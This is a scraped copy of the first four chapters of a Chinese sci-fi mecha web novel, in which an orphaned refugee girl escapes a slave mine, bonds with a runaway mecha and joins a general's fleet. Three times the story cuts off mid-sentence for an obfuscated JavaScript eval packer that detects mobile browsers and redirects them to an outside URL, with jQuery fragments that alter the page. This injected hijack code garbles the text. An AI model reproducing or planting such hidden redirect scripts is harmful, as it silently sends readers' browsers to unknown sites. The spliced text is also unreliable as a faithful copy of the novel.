《机甲暴走,她所向披靡[星际]》 1. 从天而降的龙姬 郗灵的母星是一颗与世隔绝的小星球,机械军团毁灭了它,一如毁灭银河中的任何一颗星球,无论是否归联邦管辖。 联邦的“救援”姗姗来迟。 郗灵作为母星唯一幸存的遗孤,临时身份登记为“5201星球(已毁灭)-有机生命-智人种”,和飞船上其他大睁着恐惧双眸的星际难民一起,被收受贿赂的船长打包运往一颗鸟不拉屎的矿星。 弄权者惯以生命装点他们的武器,战争是棋盘,联邦总统和机械帝皇是棋手,士兵是棋子,每一步都有弃子,每一步都有死亡。 但郗灵更低一等,她连弃子都算不上。 机械军团用激光和粒子束流引爆了郗灵的母星,它们是无机生命,象征死亡和毁灭。联邦商人用投机和贿赂贱卖了郗灵的人权,他们是有机生命,象征罪恶和贪婪。 在矿星打黑工的第一天,郗灵挣脱了镣铐! 工头拿着鞭子昏昏欲睡,没料到这个瘦弱的少女竟然如此强壮。 他眼睁睁看着郗灵灵巧地爬上矿井,没有外骨骼,没有半机械义肢,十根纤细的指头抠进紧实的岩壁,披散的长发遮住后背,像蜘蛛型迷你机甲一样,飞快地向矿井顶部的光明爬去。 鞭长莫及,工头掏出挂在腰上的电击开关。 滋滋! 郗灵已经向上爬了三层,但电弧下一刻萦绕住她的身体。 她发出一声比蝙蝠更凄厉的惨叫,十指松开,重重地摔落回地底! 这条沾满鲜血的利益链从不缺乏暴力,无论商品还是商人。 郗灵在通电的铁笼子里蜷缩着冻了一夜。 第二天,一副全新的镣铐铐上了郗灵的手脚,同时,郗灵被送往了矿井最深处。 那里盛产放射性矿石,是机甲能源的原材料之一。 十几个摄像头忠诚地监视着郗灵的动作,手里的镐子一旦停下三秒,郗灵就会被电击。 工头只偶尔瞥一眼监控,他太清楚战争时期生命的价值了,一船黑工甚至没有一台钻井机值钱。 联邦中央星,一场紧急会议刚刚结束。 联邦的前身是帝国,它从腐朽的帝制中破壳,犹如凤凰浴火。但寰宇没有东西可以长青,再高洁的理想也会被现实腐蚀,今日的联邦已经名存实亡,帝国的幽灵游荡在中央星上空,亟待下一次复活。 总统——其实更像是皇帝——坐在空荡荡的会议长桌上首,双手交叉在下颌处,苍老的眼珠酝酿着阴沉的风暴。 议员已经离开,他们罕见地投出了反对票,强烈要求结束战争。 “父亲。”莱茵为垂老的总统端上一杯美酒,殷红如石榴。 莱茵的面容秀美端庄,仿佛一个女孩儿。 帝国时代,那些有着高贵姓氏的男性继承人大多优柔。 如同金笼里的珍鸟需以水银饲喂,年轻的继承人们服食砒霜,崇拜不被阳光熏烤的苍白皮肤和水仙般阴柔的脸庞。在联邦的前身——反抗军的铁蹄踏破皇宫前,他们便已死于心悸和谵妄。 莱茵是总统的儿子,正统联邦人,但他的身上扑朔着帝国的旧影。 总统饮下美酒,对儿子露出微笑。 莱茵向父亲颔首,柔顺地带走空杯。 议会大厦有着长长的走廊,两侧站着侍者。莱茵托着空酒杯离开时,侍者们一一弯下腰,恭敬地道:“太子。” 莱茵没有回应。 联邦已经烂了,烂透了!莱茵柔美的脸挂着得体的微笑,如此想道。 莱茵卷曲的白发散在身后,仿佛披着羊皮的幽灵。他今日告假,他是联邦五大军校之一,维尔莱德军事学校的指挥系大三生。 维尔莱德是反抗军领袖,伟大的联邦国父,第一任大总统。 滴滴!铃声响起。 莱茵扫描虹膜,解锁腕上光脑,一张英气逼人的虚幻脸庞从端口弹出。 “上将。”莱茵道。 “莱茵!”萧寒剑上将并未称呼莱茵为太子,“麻烦你追踪一下我的备用机甲,它出了一点问题,自己打开机甲钮飞走了。” 莱茵沉默片刻:“哪一台?” “忘了。”萧寒剑并拢食指和中指,潇洒地划过眉尾,“联邦主脑监控着所有机甲,你不会找不到,只是需要大海捞针。” 莱茵问:“战事顺利吗?” “顺利,机械军团节节败退!” “父亲不希望战争结束。” “……”萧寒剑洋溢着笑容的脸冷凝下来,犹如烈火冰封,“你爸是傻逼!” “议员们即将开始第二场紧急会议,乃至第三场,第四场,他们会说服父亲的。”莱茵的脸庞没有一丝波澜,“祝你凯旋,上将,我会找到你的机甲。” 萧寒剑张开嘴。 在萧寒剑的声音顺着网络传过来前,莱茵关闭了通讯。 星域战场,萧寒剑短暂休整后再次披甲,将残存的机械军团打得落花流水。 联邦边境,一台离家出走的机甲能源告罄,坠落在某颗能源富集的矿星上。 郗灵从矿井最底层爬了出来,把最后一只摄像头重重砸在工头的脑门上! 一个工头倒地了,更多的工头围了上来。 工头故技重施,郗灵的头发电得竖起。 但郗灵已经适应了电击,她没有倒下,沾满灰尘的脸上嵌着两颗山猫般明亮的眼睛。她轻蔑地盯着狂按按钮的工头们,犹如猎物讥笑枪膛哑火的猎人。 大工头出离愤怒。 他从未见过这么扎手的刺头,一怒之下扔掉电击按钮,摘下腰间闪烁着寒光的、布满倒刺的铁鞭。 铁鞭猎猎挥舞,机甲轰然坠地。 轰!!! 大工头被机甲的铁腚锤进了地里。 郗灵愣了一瞬,随即飞扑过去救人。 大工头罪该万死,但他的罪应该交给法律审判!郗灵窜到机甲边,用不符合常理的怪力硬生生抬起十几米高的机甲,又惋惜地发现,大工头已经变成了一滩肉泥。 “他死了。”郗灵操着一口不熟练的通用语。 郗灵从死域一般的矿井底部爬出,又徒手抬起几十吨重的机甲,即使她的手脚还挂着半碎的镣铐,但此时此刻,已经无人敢把她看作卑贱的矿工。 郗灵的身上沾满放射性矿石的渣滓,饿肚皮的机甲双目闪烁,强行开机。 “找到了!”中央星上,莱茵的脑袋贴满生化导线,腾地一下站了起来。 “找到了!”矿星上,机甲“龙姬”一把抱住郗灵,吸猫一般猛猛地吸了一大口。 莱茵分享坐标,萧寒剑斩杀最后一只机兵,机甲尾部喷吐出长长的火焰,向跷家机甲所在的星球飞去。 龙姬死死搂住郗灵,任由郗灵小拳拳捶打胸口,合金胸甲被捶得凹陷都不撒手。 萧寒剑赶到矿星时,看到的正是这样一幅画面—— 生物机甲龙姬钢甲散开,形似炸毛,内含导弹和粒子束武器的双臂呈抱杀状搂住一名少女,拟生声带发出亢奋的尖锐爆鸣声。 少女双臂垂落,面庞埋在龙姬的胸甲里,生死未卜。 萧寒剑:“……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181211|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>萧寒剑:“夭寿啦!机甲杀人啦!!” 萧寒剑叫得像一只尖叫鸡。 通讯对面的莱茵捂住耳朵后缩,又睁开一只眼睛,看向屏幕角落抱着少女的机甲龙姬。 少女垂下的手指动了动。 “上将,她还活着。”莱茵说。 萧寒剑停止尖叫。 她眼睁睁看着少女抬起花茎般细瘦的胳膊,握掌成拳,抡圆了胳膊,带着猎猎的破空声,一拳砸上机甲龙姬的胸甲。 龙姬趔趄两步,胸甲又凹陷了几分。 萧寒剑的下巴掉到了地上。 将少女从龙姬怀里解救后,萧寒剑看着拍打身上矿渣的少女,发现通话视频还没有关闭。 联邦总统的独子,莱茵·汉布格尔大睁翡翠色的双眸,灼灼地盯着衣衫褴褛的少女,犹如一只盯着金鱼的猫。 “你叫什么名字?”莱茵失礼地问。 莱茵是联邦“太子”,优绩主义的具象化,万千精英和天才的景仰对象。莱茵的鲁莽相当有限,但萧寒剑一瞬间捕捉到莱茵的失态。 犹如乐队指挥漏掉一个节拍,犹如芭蕾舞者跳错一个舞步。 萧寒剑自觉闭麦。 郗灵歪头,迷惑地看着投影里的莱茵。 “你叫……什么名字?”郗灵生涩地重复。 萧寒剑和龙姬同时捂住心口。 ——天,她真可爱! 矿星上的工人被解救,一些人还活着,更多的人却永远无法离开。 郗灵绷着小脸,给死去的矿工立了一块墓碑。龙姬狗腿地伸出粒子束武器,关公绣花般小心翼翼地雕刻死者的名字。 “你记得他们的名字。”萧寒剑站在一旁,环着双臂感慨地说。 “……记得。”郗灵的通用语不流利,但能听懂,“他们……不想死。” 萧寒剑沉默,莱茵沉默。 “根据法律,这些难民可以获得顶格赔偿,交易链上的每一环,联邦都会追责。”莱茵轻声说。 “谢谢。”郗灵没听懂。 “接下来,你打算怎么办?”萧寒剑比划手势。 郗灵书写名字的手指停顿了一瞬。 龙姬的粒子束流险些擦伤郗灵的指尖。 雪白的人型机甲后怕地抖了抖,委屈地收起武器,蹲在原地待机。 郗灵仰起脑袋看向龙姬,踮脚抚摸它美丽的雪色机壳,从沾满灰土的腿甲,一路摸到冰花状散射的机械六翼。 萧寒剑觉得郗灵快上钩了:“你想学机甲?” 配合萧寒剑的手势,郗灵明白了她的意思。 郗灵站起身,安静地审视面前的雪色机甲。 郗灵点点头。 萧寒剑和莱茵对视一眼。 此等天才万万不可错过! 未经训练就能徒手爆捶龙姬,郗灵的肉身强度堪比人型机甲。联邦军部青黄不接,但机械帝皇还在源源不断地生产机兵。 为了人类的未来,联邦必须将郗灵吸纳为有生力量! 萧寒剑和莱茵讨论郗灵的入学事宜,郗灵仰起小脸,听着这位英姿飒爽的将军用陌生的通用语和莱茵交流,眼睛眨了眨。 郗灵招手:“龙姬。” 龙姬低低地嗡鸣一声。 “名字,写。”郗灵道。 龙姬伸出粒子束武器,在郗灵的手指描出一个名字后,它射出细细的粒子束流,把那个名字刻在了墓碑上。 那是郗灵的母语。 她用已毁灭的母星的文字,在墓碑上刻下了自己的姓名。 2. 第七军团 矿星位于第七扇区边境,是联邦鞭长莫及、充斥黑色交易的众多星球之一。 这里同时位于联邦和机械军团的主战场星域,萧寒剑因此怒不可遏,她万万没有想到,联邦商人竟然已经猖狂到敢在她的眼皮子底下倒卖人口。 郗灵蹲在墓碑前,把墓碑上的名字和心中的名单逐一对照,余光看到萧寒剑像暴怒的雌狮一样反复弓起背毛。 “狗屎!”萧寒剑痛骂。 学习一门语言从脏话开始,郗灵无论在黑船上还是在矿星上,耳边充斥的污言秽语都不在少数,萧寒剑的这句国粹是郗灵唯一完全听懂的话。 郗灵深有同感地点头:“嗯!” 萧寒剑猛地打了个嗝。 郗灵黑圆的瞳仁倒映出萧寒剑写满“完辣,我教坏小孩了”的心虚脸庞。 热风卷着沙砾吹过二人,在墓碑上敲出窸窣的细响。 “我是萧寒剑。”萧寒剑自我介绍。 “郗灵。”郗灵使用了母语的发音。 “郗……灵……”萧寒剑用手指在沙地上书写,郗灵注意到,对方的手上满是伤疤和老茧,“看!你的名字在通用语里可以这样拼写。” 郗灵没听懂。 语言不通是个大问题,郗灵和萧寒剑的对话一旦上升到手势无法比划的难度,她们就等于在鸡同鸭讲。 但萧寒剑有自己的思路。 “这是我的机甲,凤凰!”萧寒剑抛了抛手中的红色机甲钮,“我是联邦的凤凰上将,我的舰队就在附近——你要和我一起上船吗?” 连续触发“联邦”“上船”两个关键词,郗灵脸上的笑容一下子僵硬了。 她尖利地回答:“不!” 萧寒剑给郗灵呼噜毛:“不怕不怕,我是好人。” 郗灵警惕地盯着萧寒剑抚摸她的手,如果她的头顶有一对猫耳,此刻肯定已经向后压下去了。 这几个月的遭遇对郗灵而言像一场浩劫。 当第一枚炮弹在母星上爆炸,她的生命从此裹挟在战火中。铁人围剿她,商人拐卖她,工头鞭打她,她一一承受,并奋起反抗,苦难无法让她屈服,但她始终觉得命运不公。 萧寒剑说她是个好人,也许吧,但没人会说自己是个坏人。 郗灵的通用语烂穿地心,会听和会说的话都很少,她过去的遭遇也让她竖起一堵高墙,将所有善意和恶意通通拦在墙外。 但萧寒剑以太阳般爆棚的热情推倒了这座高墙,她趴在墙头上,用通用语一刻不停地和郗灵说话。 “通用语是银河的官方语言,你想学习通用语吗?那就从拼写你的名字开始吧!” “……” “你的家乡是哪颗星球?在第七扇区附近吗?” “……” “你今年多大了?天啊,你怎么比我矮这么多,你成年了吗?你还会长高吗?” “……” “嘶!别咬我!疼!” 萧寒剑是联邦上将,第七军团提督,她奉命前往边陲星系,为有机与无机的战争画上句号。 郗灵对萧寒剑的身份毫无概念,只隐约知道“上将”是个了不起的军衔,更何况,她根本无法把位高权重的“大人物”和面前话篓子成精的萧寒剑联系起来。 直到第七军团追了过来。 巨大的阴影从上空投落,一支铺天盖地的舰队以君临之姿降落这颗偏僻的矿星,强烈的气流卷起滔天黄风,矿渣和沙砾裹挟其中,用力扑打地上所有人的脸颊。 郗灵呆呆地望着头顶黑压压的舰队,而后浑身一颤,转身就要逃跑。 萧寒剑大笑一声,用不容拒绝的力道钳住了郗灵的手腕。 “别怕!那是第七军团的舰队!”萧寒剑仰头凝望缓缓降落的舰队,“那是我的军团!” 萧寒剑有一张英气逼人的脸庞,这份英气随着话语的减少而增加。 郗灵被萧寒剑钳住手腕,她本可以挣脱,但萧寒剑流露出的冷峻气质让她强行定在了原地。 她终于后知后觉地意识到,面前的女人真的是一位大人物。 子舰拱卫母舰组成庞大的舰队,降落时,一面面威风凛凛的旗帜在舰尾旗杆上升起,犹如群龙张开龙尾,恭迎王的归来。 舷梯放下,惊起一地尘沙。 一道高挑纤细的人影在尘沙中出现。 “上将!”人未到声先至,那人站在舷梯尽头,对萧寒剑劈头盖脸一顿教训,“您拍拍屁股就走人,把第七军团扔在战场上。舰队追逐您的时候,指挥部还单独开了个会。” “开会?那群小兔崽子又拉群聊骂我?” “取其精华去其糟粕,他们的言论大同小异——上将果然又抽风了!” 萧寒剑气笑了:“哈!” 烟尘消散,郗灵盯着舷梯上的人。 那人是个女性,军装大衣在她身上格外服帖,刺绣的下摆垂至膝盖,两只手皆戴着白手套。她全身露出的皮肤唯有面部,刀一般凌厉的视线透过低垂的睫毛扫视舷梯下的一切,包括但不限于萧寒剑、郗灵和机甲龙姬。 龙姬嗡鸣一声,原地缩成了一枚机甲钮。 郗灵:“……” 恐怖如斯!仅凭一个眼神就把龙姬吓成了这样! “黎缨!”萧寒剑语气亲昵。 郗灵一言不发,在心中默默评判舷梯女子的危险程度,但萧寒剑的双手突然从她腋下穿过,把她整个人像举小猫崽一样高高地举了起来。 “你瞧!”萧寒剑炫耀道,“我捡到了什么?” 我捡到猫啦! 郗灵:“……” 郗灵没敢反抗,只在半空中象征性地扑腾了两下。 萧寒剑放下郗灵,又在舷梯女子清冷的注视下推动郗灵的后背,示意郗灵上舷梯。 郗灵纹丝不动。 萧寒剑轻叹一声,绕过郗灵先一步登梯。 郗灵看着萧寒剑远去的背影,垂下眼睑飞快地权衡一番,又站在原地深吸一口气,咬牙跟上了萧寒剑的步伐。 舷梯陡长,脚踩上去“嘎吱”作响。 萧寒剑听到后方传来的“嘎吱”声,本就缓慢的步子又放慢了几分。 两人一前一后,双脚踩在金属梯档上。 郗灵的脑子越转越宕机。 她从脚下的飞船想到商人的黑船,又从身前的萧寒剑想到高大的铁人。战争的阴影从她的灵魂深处勾了出来,她分明走在摇晃的舷梯上,却仿佛走在万丈深渊的绳索上。 郗灵的手在胸口攥成拳头,牙缝里吐出一道微弱的气音。 萧寒剑本来慢步走在前方,但她耳尖一动,又悄无声息地伸出一只手,把郗灵攥成拳头的手轻轻包进掌心里。 郗灵抬起头,愕然地看着萧寒剑。 萧寒剑走在前面,没有停顿,更没有回头。 郗灵低下头,盯着萧寒剑的手。 那只手宽大温暖,深浅纵横的伤疤分布其上,仿佛战争的诗文。粗糙的老茧摩擦郗灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181212|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手部皮肤,行走间发出“沙沙”的响声。 上将是个好人吗? ……也许吧。 看着萧寒剑的背影,郗灵紧绷的身体一点点放松了下来。 郗灵以“星球遗孤”的身份被萧寒剑带上母舰。 郗灵衣衫褴褛,头发披散,仿佛一只流浪的野猫。她一上船就像个小尾巴似的跟在萧寒剑身后,仿佛那光可鉴人的飞船地板上铺满了陷阱,唯有萧寒剑半米之内安全无事。 “跟紧我,”萧寒剑对郗灵嘱咐,“我带你做个体检。” 这句嘱咐郗灵听懂了一半,她紧跟着萧寒剑,脏兮兮的脚在地上踩出一串脚印。 一只扫地机器人任劳任怨地清理脚印,它是清洁型迷你机甲,外型像一只蜘蛛。 郗灵停下脚步,好奇地和蜘蛛机甲对视几秒,而后伸出脚,在蜘蛛机甲的脸上抹了一下。 蜘蛛机甲:“……” 蜘蛛机甲:“Aww!” 萧寒剑和名为“黎缨”的清冷女子低声交谈,对后面发生的闹剧毫无察觉。她们雷厉风行地来到医疗部,两位白大褂军医放下手中的活迎了上来。 “给这孩子做个体……”萧寒剑转身指向身后的郗灵。 她和骑在蜘蛛机甲背壳上的郗灵对视了。 萧寒剑:“……” 黎缨:“……” 蜘蛛机甲:“QAQ!” 郗灵的情况既简单又复杂。 她被机械军团毁灭了母星,又被联邦商人卖去了矿星,她是毫无争议的受害者,一个可怜的星际难民。 但同时,郗灵拥有谜一样的强悍体质。 她躲过了机械军团无情的剿杀,扛过了黑船颠沛的运输,熬过了矿星上的压迫和虐打,如此种种后,她竟然仍有余力锤爆龙姬的胸甲。 郗灵被萧寒剑放进医疗舱,舱门关闭的下一秒,淡琥珀色的未知溶液从底部阀门里冒出,很快灌满了整个舱体。 郗灵憋住气,两只手爆起青筋,扒在小小的窗口上。 她绝望地哀鸣,每一声都有一大口溶液呛进肺里:“上将……上将!” 萧寒剑没有听到郗灵的呼喊,她始终背对着郗灵,仿佛一座无动于衷的、沉默的山。 郗灵终于耗尽肺中最后一口氧气,淡琥珀色的溶液灌满了她的肺部,她盯着萧寒剑的背影,认命地放下拍打窗口的手,闭眼迎接溺死的结局。 溶液随呼吸的动作在肺中循环,溺水感一瞬间消失得无影无踪。 郗灵狐疑地睁开双眼,而后惊讶地发现,她的呼吸竟比在空气中还要轻盈! 溶液中残存的空气化成一串晶莹的气泡,郗灵躺在狭小的医疗舱里,伸出满是伤口的手捞了一把。 大气泡碎成了小气泡。 溶液有神奇的功效,郗灵身上的伤口开始暖洋洋地愈合,她仰头盯着头顶漂浮的气泡,伸手捞了第二把、第三把…… 萧寒剑和黎缨站在医疗舱不远处的操作台前,看着两名军医在键盘上十指翻飞,熟练地操作设备对郗灵进行身体检查。 “这一仗打得够久的。”萧寒剑轻声闲聊。 “联邦那群老不死还想再打两年。”黎缨冷哼一声,“明明打仗最是烧钱,但他们都敢从火里捞出金子,更别提把手伸向……” “黎副官,谨言慎行。” “……是。” “上将!”白大褂军医突然惊呼出声,“这孩子的身体数据不对劲!” 3. 体检 萧寒剑和黎缨闻声看向操作台。 两名军医在操作面板上轻点几下,郗灵的身体监测数据在屏幕左侧展开,屏幕右侧同步浮现一具没有五官的女性半透明躯体——那是郗灵的人体三维投影模型。 “上将,要长话短说吗?”一名军医询问。 萧寒剑盯着天书一样的身体数据:“不,详细说说。” “浮力传感器显示,这孩子的体脂率只有8%。”军医的第一句话就让萧寒剑皱紧了眉头,“但这不是重点!在战争时期,饿得皮包骨头非常正常——重点是,她的其他数据很不正常。” 军医拨弄人体模型,模型手腕处高亮起来:“我们对她进行无创血压监测时,压力信号在3秒内突破了200mmHg,十秒后,压力传感器过载,监测结果定格为‘>250mmHg’!” “人体收缩压上限是140mmHg。”另一位军医补充说明,“如果我们的血管是塑料的,那她的就是合金的。” 萧寒剑和黎缨对视一眼。 “继续。”萧寒剑道。 “近红外探头监测显示,她的血氧饱和度始终稳定在99%!”人体模型上出现血管透视图,主讲的军医说明道,“更不正常的是氧代谢率!通过‘羊水’溶解氧的消耗计算,她的单位时间耗氧量只有人类基础代谢的1/3!” “血氧正常在95%-98%之间,1/3的耗氧意味着常规生物的‘能量消耗定律’对她完全不适用。她是个自带燃油的发电机。”副讲的军医补充道。 萧寒剑看向医疗舱——郗灵已经适应了舱内的人造羊水,正在一边吐泡泡一边抓着玩。 萧寒剑按住黎缨搭上枪柄的手:“继续。” “X射线扫描结果显示,她的肋骨上有尚未痊愈的骨裂痕迹,但射线穿透肱骨中段时,衰减率高达87%!以及图像里,骨裂边缘泛着异常的高密度光斑,系统标注‘骨密度超出检测阈值’!”主讲的军医加快了语速。 “正常人的骨骼衰减率在40%-60%之间;骨密度超出检测阈值,意味着她的骨头比母舰表面的复合合金还硬。”副讲的军医再次给出了通俗的解释。 黎缨拔出枪。 萧寒剑瞪视一眼。 “还有!她的心跳频率稳定在22次/分钟,”主讲的军医沉浸在自己的解说中,他甚至还有点说嗨了,“她的肺活量也不正常!通过呼吸时羊水的体积变化显示,她一次吸气足足有8升气体量!” “静息心率正常60-100次/分钟,肺活量极限是7.5升。上将,她已经不是人了。”副讲的军医轻声细语。 萧寒剑死死攥着黎缨瞄准医疗舱的枪管,指骨发出令人牙酸的“咯吱”声:“所以呢?你们的结论是什么?” “她很可怜。”两名军医异口同声道。 萧寒剑和黎缨的僵持停下了。 “为什么?”黎缨惊诧地问。 主讲的军医叹息一声,手指拨弄了两下,人体三维投影模型立刻覆盖上一层实时扫描的模拟皮肤。 那是一具遍体鳞伤的身体。 上船时,郗灵穿着褴褛的矿工服,那衣服勉强可以蔽体,让萧寒剑和黎缨得出“她是个可怜孩子”的粗糙结论。可如今,郗灵的身体情况呈现在众人眼前,一切苦难不言而喻。 虽说战争摧毁了所有人,但并非所有痛苦都不分深浅。 黎缨放下枪:“……为什么?” 黎缨问了两句为什么,可两句“为什么”表达的意思完全不同。 第一个“为什么”——郗灵那么强悍,你们为什么说她可怜? 第二个“为什么”——郗灵那么强悍,她……为什么要挨打? 两位军医面面相觑,他们是医疗部的军医,自然答不出只有心理部军医才能解决的难题。 但萧寒剑已经大步走向医疗舱。 郗灵抓泡泡抓得起劲,舱内的溶液正在修复她的伤口,她久违地感到了惬意与安心。 但突然间,淡琥珀色的溶液“哗啦”一声,从郗灵脚下的阀口尽数流走。密封舱盖在泄压声中缓缓展开,大量雪白的光线涌入郗灵的眼球。 逆光中,一个高挑的女人脱下军装大衣,怜惜地裹住郗灵的身体。 郗灵撑开湿漉漉的睫毛:“……上将?” 萧寒剑喉咙发哽,心口压着石头一样沉重的思绪。 萧寒剑无言地拨开黏在郗灵脸上的头发,郗灵盯着萧寒剑紧锁的眉头,犹豫片刻后,把没有伤口的那一侧脸颊,小心地放进了萧寒剑满是老茧的手心里。 萧寒剑手掌一抖——那感觉像在抚摸一只放下防备的猫。 郗灵是个极具天资的孩子,萧寒剑在矿星上第一眼见到她时就产生了这样的想法,而她潦倒的现状足以让任何一位投资家欣喜若狂,因为这意味着他们能以抄底价购入一支潜力爆棚的原始股。 想到这一点,萧寒剑深深地羞愧起来。 她在权力的餐桌上坐了太久,思想竟然也和那些卑鄙的政客同流合污了! 她会把郗灵武装起来!郗灵注定不会平凡,但一个小星球的孤儿比中央星的精英落后了太多,她会用尽一切办法,让郗灵和那些精英站在同一条起跑线上。 萧寒剑深吸一口气,收起纷乱如麻的思绪,对闭着眼睛靠在她手心里的郗灵轻声询问:“你感觉怎么样?你好些了吗?” 萧寒剑的语速很慢,郗灵听懂了。 她摸了摸瘪瘪的肚子:“……我饿。” 郗灵从矿井最底层一路爬上来,饿急眼的时候连放射性矿石都啃了两口,工头们把她扔下去就没打算让她活着出来,因此,她对大工头的死只有一点点惋惜。 惋惜这漆黑的罪行没有被法律审判。 惋惜这肮脏的罪人没有死在她的刀刃下。 “食物、水、衣服、房间……这些都是最基础的东西,你不说我也会给你备好。”萧寒剑眼眶一热,郗灵是个好孩子,她心中的愧疚更深重了,“还有吗?你还有什么想要的吗?” 萧寒剑已然动情,感性在此刻远大于理性。 两名白大褂军医安静地盯着黎缨。 黎缨的手虚虚按在了插回腰间的枪柄上,但她没有开口劝阻,因为她也想知道郗灵是个怎样的人。 一支潜力爆棚的股票……优缺点自然都要看清楚。 郗灵垂着眼睛想了一会儿,而后指向萧寒剑的腰侧,用不太流利的通用语磕磕巴巴地答:“我想要机甲!” “机甲”这个词是郗灵新学会的,因此发音最为古怪,但这个词在整个句子里最有力、最清晰。 黎缨眸光一冷。 萧寒剑倒没有太惊讶,摘下腰间一红一白两枚机甲钮笑着问:“你想要哪个?凤凰?龙姬?” “龙姬。”郗灵的答复依然简短,“它救了我。” 黎缨盯着郗灵。 黎缨刚才看过郗灵的人体投影模型,因此,即使郗灵裹着军装大衣和矿工服,黎缨也能看到郗灵身上的一道道伤口。那些伤口大多来自鞭打和电击,常常出现在第七扇区的黑工奴隶身上,和人文繁荣的第一扇区相比可谓既原始又暴力。 龙姬一屁股坐死一个工头的事情,黎缨也是知道的。 ……救命之恩啊。 黎缨抿了抿嘴唇,放下了按在枪柄上的手。 萧寒剑把两枚机甲钮当悠悠球甩,还在矿星上时,她就打算把龙姬送给郗灵了:“你不要凤凰?我很愿意把它送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16181213|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给你呢!” 红色机甲钮在半空中一个猛滞,调整方向用力撞上萧寒剑的脑袋。 萧寒剑撒开手:“嗷!” 白色机甲钮如乳燕投林般落入郗灵怀中,郗灵伸手接住机甲钮,一瞬间竟感觉手中的机甲钮不似冰冷的机械,而是如同振翅的飞鸟一样窸窣颤抖。 龙姬啊…… 郗灵想起从天而降的龙姬,想起压成一滩肉泥的大工头,机甲在她心中犹如母星神话里创世的巨人,天与地是巨人的化身,而地上的人类都是祂的子孙。 郗灵把龙姬捧在心口,深深垂下头。 如果铁人毁灭母星那天,她能有一台这样的机甲…… 郗灵在萧寒剑的照顾下洗了澡,换了衣服,又在食堂美美地吃了一顿饱饭。 现在不是饭点,士兵们都在训练,食堂空荡无人。 角落的一盏小灯照亮了摆得满满当当的餐桌和大快朵颐的郗灵,而第七军团的两位话事人——萧上将和黎副官坐在郗灵对面,表情从一开始的伤感动容发展为如今的沉默无言。 炊事官在后厨抡锅铲抡出了火星子,萧寒剑盯着郗灵鼓鼓囊囊的腮帮子,侧头对黎缨轻声问道:“这是第几桌了?” 黎缨的声音也轻极了:“第六桌。” “真能吃啊……虽然这是好事……” “我问过医疗部了,他们说这孩子的消化能力不能和常人并论,所以食量也比一般人大得多。” “我吃饱了!”第六桌饭菜被郗灵一扫而空,郗灵瘫在凳子上,两只手捧着吃撑的圆肚皮。 萧寒剑和黎缨松了口气,但炊事官从后厨探出脑袋:“哈?小妹妹!我这儿都炒好了!” 郗灵蹦起来:“我来了!” 郗灵跑去后厨享用她的第七桌佳肴了。 萧寒剑心有余悸地盯着郗灵的背影,又和拥有同样表情的黎缨安静地对视一眼。 ——送去科研部做个检查吧? ——上将言之有理,医疗部查不出来的东西,只有科研部能查出来了。 郗灵吃完了锅里的饭菜,对炊事官认真地说了一声“谢谢”,而后在炊事官怜爱的注视下回到萧寒剑身边。 “我回来了!”郗灵汇报道。 “跟我来。”萧寒剑的脸上难得没有一丝笑容。 郗灵安静地跟在萧寒剑身后,黎缨回头瞥了郗灵一眼,戴着白手套的手安抚地握住了郗灵的手。 母舰分为数个舱段,科研部所在的舱段有着重重门禁。郗灵牵着黎缨的手,跟着萧寒剑的脚步,穿过了一道又一道开启又关闭的舱门,心中思考她们究竟想带自己去做什么? 随着最后一道舱门在泄压声中开启,郗灵的问题得到了答案。 “小妹妹,我是‘联邦生物工程研究中心’的副院长——你可以叫我‘博士’。”自称“博士”的男子推了推没有镜片的眼镜,两只机械义眼狂热地盯着郗灵。 “我只是想知道她有没有吃撑,别搞其他小动作,墨菲。”萧寒剑冷厉地提醒。 “收到,亲爱的上将。”墨菲博士诡笑一声,对郗灵微微弯腰,伸来一只邀请的手,“小妹妹,请跟我来。” 郗灵盯着墨菲博士伸来的手。 那是一只半机械、半人类的手,导线是它的血管,电流是它的血液,它的表面覆盖冰冷的械壳和苍白的皮肤,它同时拥有有机和无机的特性,正如面前的墨菲博士,是一个人不人鬼不鬼的怪物。 他是人类还是铁人? “小妹妹?”墨菲博士仍然古怪地笑着。 郗灵看了眼萧寒剑,又看了眼黎缨,把自己的手放进了墨菲博士的手里。 “我叫郗灵。”郗灵道,“您好,墨菲博士。” 4. 墨菲博士 “墨菲博士不属于第七军团,他和他的团队是托关系硬塞进来的。出征前,他们全都写了遗嘱,生死一概不用我们负责。”临走前,萧寒剑比划着手势和郗灵解释道,“他们是一群疯子,你要小心。” 郗灵听得云里雾里,但她捕捉到萧寒剑忌惮的态度,轻轻点了点头。 墨菲知道萧寒剑的话是说给自己听的,他没有回避,若无其事地站在半步之外,半机械义手牢牢地牵着郗灵的手。 